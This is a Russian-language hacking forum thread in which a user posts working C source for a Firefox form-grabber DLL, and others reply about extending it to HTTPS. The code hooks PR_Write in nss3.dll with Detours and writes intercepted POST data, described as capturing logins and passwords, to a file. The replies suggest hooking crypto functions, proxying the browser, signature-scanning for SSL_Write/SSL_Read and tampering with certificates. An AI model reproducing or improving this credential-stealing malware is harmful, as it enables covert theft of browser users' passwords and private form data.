Формграббер FireFox x64 (сплайс api функции)

Тема в разделе "WASM.WIN32", создана пользователем khureshi, 3 ноя 2020.

  1. khureshi

    khureshi New Member

    Публикаций:
    0
    Регистрация:
    24 ноя 2017
    Сообщения:
    4
    Приветствую всех wasm'овских.

    Ради интереса хочу написать формграббер. Идея в том, чтоб инжектиться в firefox, сплайсить функции чтения/записи и смотреть, что отправляет юзер серверу (post дата).
    Видел сообщение Рела на дамаге:
    С Ишаком все понятно на счет InternetReadFile и т.п. Но у ff видел шялпу под типу PR_Write, PR_Read (из nss3.dll).

    Код (C):
    1. #include "pch.h"
    2. #include <windows.h>
    3. #include <WinInet.h>
    4. #include <stdio.h>
    5. #pragma comment (lib, "detours.lib")
    6.  
    7. #include "detours.h"
    8.  
    9.  
    10. #pragma warning(disable: 4996)
    11.  
    12.  
    13. typedef INT(*pr_write)(void* desc, const void* buf, int amount);
    14.  
    15.  
    16.  
    17. #define OUTPUT "D:\\info.txt"
    18.  
    19. pr_write p;
    20.  
    21. INT intercept(void* desc, const void* buf, int amount) {
    22.     char* str = (char*)buf;
    23.     if (str) {
    24.         if ((strncmp(str, "POST", 4) == 0)) {
    25.             str[amount] = 0;
    26.             FILE* f = fopen(OUTPUT, "a+");
    27.             if (f) {
    28.                 fwrite(str, strlen(str), 1, f);
    29.                 fclose(f);
    30.             }
    31.         }
    32.  
    33.     }
    34.     return p(desc, buf, amount);
    35. }
    36.  
    37.  
    38. void injected() {
    39.     p = (pr_write)GetProcAddress(GetModuleHandleA("nss3.dll"), "PR_Write");
    40.     if (p) {
    41.         MessageBox(0, L"Attached", 0, 0);;
    42.     }
    43.    
    44. }
    45.  
    46. BOOL APIENTRY DllMain( HMODULE hModule,
    47.                        DWORD  ul_reason_for_call,
    48.                        LPVOID lpReserved
    49.                      )
    50. {
    51.     switch (ul_reason_for_call)
    52.     {
    53.     case DLL_PROCESS_ATTACH:
    54.         injected();
    55.         DetourRestoreAfterWith();
    56.         DetourTransactionBegin();
    57.         DetourUpdateThread(GetCurrentThread());
    58.         DetourAttach(&(PVOID&)p, intercept);
    59.        // DetourAttach(&(PVOID&)def, HookReq);
    60.         DetourTransactionCommit();
    61.     case DLL_THREAD_ATTACH:
    62.     case DLL_THREAD_DETACH:
    63.     case DLL_PROCESS_DETACH:
    64.         break;
    65.     }
    66.     return TRUE;
    67. }
    68.  


    Проинциолизировали PR_Write. Записываем POST запрос в файл.
    Все работет отлично (получаю заголовки, логи:пассы). Но проблема в том, что работает только с http.
    А всякие данные с https не снифает не GET не POST.

    Какой есть выход? Как грабить https?
    --- Сообщение объединено, 3 ноя 2020 ---
    nspr4.dll - функции PR_Write, PR_Read - не может найти вообше. А адрессное пространство ff не загружен nspr4.dll вообще.
    Остается хукать только две функции из nss3.dll (посмотрел, что есть еще некоторые функции)
     
  2. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.241
    Посмотри в сорсах лисы, какие криптофункции вызываются выше этих двух, скорее всего они тоже экспортируются из nss3.dll.
     
  3. khureshi

    khureshi New Member

    Публикаций:
    0
    Регистрация:
    24 ноя 2017
    Сообщения:
    4
    PR_Write
    PR_SetSocketOption
    PR_SetError
    PR_Read
    PR_Poll
    PR_OpenTCPSocket
    PR_GetSocketOption
    PR_GetError
    PR_Close

    Это вроде еще доп функции. Еще видел wininet api (InternetReadFile etc). По сути, апи ff должны явлться оберткой над socket. А что если хучить socket?
    Но как ты сказал, нужно какие-то криптофункции. Но трабл в том, что PR_Read вообще не грабит https (если были бы непонятные данные, то в какой-то мере похучив криптофункции можно было бы дешифровать). У кого есть опыт? Кто сталкивался?
     
  4. M0rg0t

    M0rg0t Well-Known Member

    Публикаций:
    0
    Регистрация:
    18 окт 2010
    Сообщения:
    1.574
    Я бы смотрел в сторону проксификации браузера (см. журнал Inception, вроде первый выпуск). Это более стабильное решение, особенно для хрома, где функции надо будет искать по сигнатуре, и каждый новый выпуск оно будет меняться.
     
  5. nullPtr

    nullPtr Member

    Публикаций:
    0
    Регистрация:
    6 ноя 2020
    Сообщения:
    138
    Вродъ для чтения с https нужен SSL_Write/SSL_Read и приходится искать по сигнатуре. А что если в рантайме искать? И как вообще найти эту сигнатуру? Если ссылку оставишь о том, как найти буду очень благодарен.

    Про прокси ты имел ввиду то, что хучим функции сокета браузера, перенаправляем на наш прокси сервер запросы и там уже декриптим данные и сохраняем в буфер? Но я в аверском обзоре видел то, что хучат еще серты. Но хз как там все устроено.

    За любую инфу буду благодарен.